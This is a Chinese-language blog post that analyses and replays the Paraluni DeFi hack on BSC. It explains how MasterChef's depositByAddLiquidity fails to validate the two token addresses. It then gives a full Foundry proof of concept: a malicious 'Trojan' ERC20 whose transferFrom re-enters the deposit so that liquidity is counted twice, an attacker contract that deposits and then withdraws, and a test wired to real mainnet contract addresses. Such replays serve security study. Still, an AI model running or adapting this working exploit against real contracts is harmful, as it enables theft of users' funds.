Paraluni Hack Reply

  • bixia1994
  • 更新于 2022-03-15 11:22
  • 阅读 2055

整体的思路是特洛伊木马token的思路,重入masterChef中的 depositByAddLiquidity方法。该方法的核心错误逻辑在于:它只检查了lpToken的地址合法性,没有检查token0,token1的地址合法性。从而让token0可以做成一个特洛伊木马,在token0里面transfer一个合法的token,从而成功添加流动性;而导致deposit重复计算。

RefLink:

twitter tx

Analyze:

整体的思路是特洛伊木马token的思路,重入masterChef中的 depositByAddLiquidity方法。该方法的核心错误逻辑在于:它只检查了lpToken的地址合法性,没有检查token0,token1的地址合法性。从而让token0可以做成一个特洛伊木马,在token0里面transfer一个合法的token,从而成功添加流动性;而导致deposit重复计算。

vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this));
        (vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600);
        vars.newBalance = IERC20(_lpAddress).balanceOf(address(this));
        require(vars.newBalance > vars.oldBalance, "B:E");
        vars.liquidity = vars.newBalance.sub(vars.oldBalance);

        _deposit(_pid, liquidity, _user);

Type:

re-entry

Chain:

BSC

实现难点:

  1. depositByAddLiquidity的函数签名中,包含一个address[2] memory _tokens; 如何正确构造一个address[2] memroy的结构

    function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts)

    在solidity中,构造一个位于memory的动态数组,一般是通过如下的方式来构造:

    address[] memory _tokens = new address[](2);
    _tokens[0] = address(token0);
    _tokens[1] = address(token1);

    但是这样构造出来的_tokens数组,其类型是:address[] memory 而不是 address[2] memory;

    正确的构造方式应该如下:

    address[2] memory _tokens = [address(token0), adderss(token1)];
  2. 在特洛伊木马的ERC20 token中,trasnferFrom按照ERC20的标准是需要return 一个bool值的。因为我们在写特洛伊木马的ERC20 token是直接继承的OpenZeppelin的ERC20,那么应该是直接调用super.transferFrom();但问题在于是应该直接写super.transferFrom呢还是应该写return super.transferFrom呢?

    即:

    function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
           /// call from router.addLiquidity
           if(msg.sender == address(router)) {
               if (reentry == 0) {
                   reentry++;
                   if (shouldExecute) {
                       hack.hack2();
                   }
                  return super.transferFrom(_from, _to, _value);
                  ///super.transferFrom(_from, _to, _value); ??
    
               }
               if (reentry == 1) {
                   return super.transferFrom(_from, _to, _value);
                  ///super.transferFrom(_from, _to, _value); ??
               }
    
           } else {
               return super.transferFrom(_from, _to, _value);
                  ///super.transferFrom(_from, _to, _value); ??
           }
    
       }

    经过测试,是应该写 return super.transferFrom 而不是直接的 super.transferFrom

    这里的super应该理解为一个inner function的调用,所以对于一个inner function,其返回值也只会返回给上层函数,所以这里还需要把inner function的返回值再返回出去,这样才能够真正的去return 一个返回值,否则就会return 一个默认值 false。 image.png

  3. 在具体实现的时候,还有一个难点,也是一个设计上的难点:一共有两个token的transferFrom,是不是两个token都应该做特洛伊木马,还是只需要一个token做特洛伊木马,另一个token配合就行?

    因为特洛伊木马token的调用关系如下:所以简单来说,另一个token必须要配合特洛伊木马token来执行,而自己不应该执行。所以需要在其中一个token加一个判断条件:shouldExecute, 对于特洛伊木马token,shouldExeucte应该为true,对于配合执行的token,shouldExecute为false

    ///     masterchef.depositByAddLiquidity(tokenA, tokenB)
    ///         paraRouter.addLiquidity(tokenA, tokenB)
    ///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
    ///                 tokenA.transferFrom(masterchef, pair, amount)
    ///                     masterchef.depositByAddLiquidity(usdt, busd)
    ///                         paraRouter.addLiquidity(usdt, busd)
    ///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
    ///                                 usdt.transferFrom(masterchef, pair, amount)
    ///                                 busd.transferFrom(masterchef, pair, amount) // from another token, which must cooperate with te Trojan token
    ///                             pair.mint(lp) = amountA
    ///                         var.newBalance = amountA
    ///                     masterChef._deposit(_pid,amountA,_user) 
    ///                 tokenB.transferFrom(masterChef, pair, amount) // from another token, which must cooperate with te Trojan token
    ///                 pair.mint(lp) = amountB  => useless!!!
    ///             var.newBalance = amountA!!!
    ///         masterchef._deposit(_pid,amountA,_user)

POC

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";

import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IMasterChef} from "./IMasterChef.sol";
import {IParaRouter} from "./IParaRouter.sol";

///妥妥的paradigm的特洛伊木马思路,关键点在于
///ERC20.transfer(user.transfer) 构造一个ERC20代币,在里面的transfer时,去deposit一个USDC的token,再次调用deposit,这样就可以重复计算两次balance
/// hack.hack()
///     masterchef.depositByAddLiquidity(tokenA, tokenB)
///         paraRouter.addLiquidity(tokenA, tokenB)
///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
///                 tokenA.transferFrom(masterchef, pair, amount)
///                     masterchef.depositByAddLiquidity(usdt, busd)
///                         paraRouter.addLiquidity(usdt, busd)
///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
///                                 usdt.transferFrom(masterchef, pair, amount)
///                             pair.mint(lp) = amountA
///                         var.newBalance = amountA
///                     masterChef._deposit(_pid,amountA,_user)
///                 pair.mint(lp) = amountB  => useless!!!
///             var.newBalance = amountA!!!
///         masterchef._deposit(_pid,amountA,_user)
contract DamnToken is ERC20 {
    IERC20 public token;

    IParaRouter public router;
    Hack public hack;
    bool public shouldExecute = false;
    uint256 reentry = 0;
    constructor(
        string memory name,
        string memory symbol,
        IERC20 _token,
        IParaRouter _router,
        Hack _hack,
        bool _shouldExecute) ERC20(name, symbol) 
    {
        token = _token;
        router = _router;
        hack = _hack;
        shouldExecute = _shouldExecute;
        _mint(msg.sender, 100000 ether );
    }
    /// @dev 特洛伊木马: 
    function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        /// call from router.addLiquidity
        if(msg.sender == address(router)) {
            if (reentry == 0) {
                reentry++;
                if (shouldExecute) {
                    hack.hack2();
                }
                return super.transferFrom(_from, _to, _value);

            }
            if (reentry == 1) {
                return token.transferFrom(_from, _to, _value);
            }

        } else {
            return super.transferFrom(_from, _to, _value);
        }

    }
}

contract Hack is DSTest, stdCheats {
    IMasterChef public masterChef;
    DamnToken public damnToken;
    DamnToken public damnToken2;
    IParaRouter public router;
    IERC20 public usdt;
    IERC20 public busd;
    Vm public vm = Vm(HEVM_ADDRESS);
    constructor(
        IMasterChef _masterChef,
        IParaRouter _router,
        IERC20 _usdt,
        IERC20 _busd)
    {
        masterChef = _masterChef;
        router = _router;
        damnToken = new DamnToken("DamnToken", "DT", usdt, router, this, true);
        damnToken2 = new DamnToken("DamnToken2", "DT2", busd, router, this, false);
        usdt = _usdt;
        busd = _busd;
        vm.label(address(damnToken), "damnToken");
        vm.label(address(damnToken2), "damnToken2");
    }
    function startHack() public {
        damnToken.approve(address(masterChef), type(uint256).max);
        damnToken2.approve(address(masterChef), type(uint256).max);
        usdt.approve(address(masterChef), type(uint256).max);
        busd.approve(address(masterChef), type(uint256).max);
        address[2] memory tokens = [address(damnToken), address(damnToken2)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
        masterChef.depositByAddLiquidity(18,tokens,amounts);
        //getUserInfo
        (uint256 amount, ) = masterChef.userInfo(18, address(this));
        //withdraw
        masterChef.withdraw(18, amount);
    }
    function hack2() public {
        address[2] memory tokens = [address(usdt), address(busd)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];

        masterChef.depositByAddLiquidity(18,tokens,amounts);
    }

}
contract ParaluniTest is DSTest , stdCheats {
    address public paraProxyAddr = 0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4;
    address public paraImplAddr = 0xA386F30853A7EB7E6A25eC8389337a5C6973421D;
    address public lpAddr = 0x3fD4FbD7a83062942b6589A2E9e2436dd8e134D4;
    address public pancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
    address public usdtAddr = 0x55d398326f99059fF775485246999027B3197955;
    address public busdAddr = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
    address public pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
    address public paraRouter = 0x48Bb5f07e78f32Ac7039366533D620C72c389797;
    address public ugt = 0xbc5db89CE5AB8035A71c6Cd1cd0F0721aD28B508;
    address public ubt = 0xcA2ca459Ec6E4F58AD88AEb7285D2e41747b9134;

    Hack public hack;

    address public alice = address(0xdeadbeef);

    Vm public vm = Vm(HEVM_ADDRESS);

    function setUp() public {
        hack = new Hack(
            IMasterChef(paraProxyAddr),
            IParaRouter(payable(paraRouter)),
            IERC20(usdtAddr),
            IERC20(busdAddr)
        );
        vm.label(address(hack), "hack");
        vm.label(paraProxyAddr, "paraProxy");
        vm.label(paraImplAddr, "paraImpl");
        vm.label(lpAddr, "lp");
        vm.label(pancakeFactory, "pancakeFactory");
        vm.label(usdtAddr, "usdt");
        vm.label(busdAddr, "busd");
        vm.label(pair, "pair");
        vm.label(paraRouter, "paraRouter");

        tip(usdtAddr, address(hack), 1000 ether);
        tip(busdAddr, address(hack), 1000 ether);

        emit log_named_uint("USDT balance of Hack", IERC20(usdtAddr).balanceOf(address(hack)));
        emit log_named_uint("BUSD balance of Hack", IERC20(busdAddr).balanceOf(address(hack)));

    }    
    function testHack() public {
        hack.startHack();
    }

}
点赞 1
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code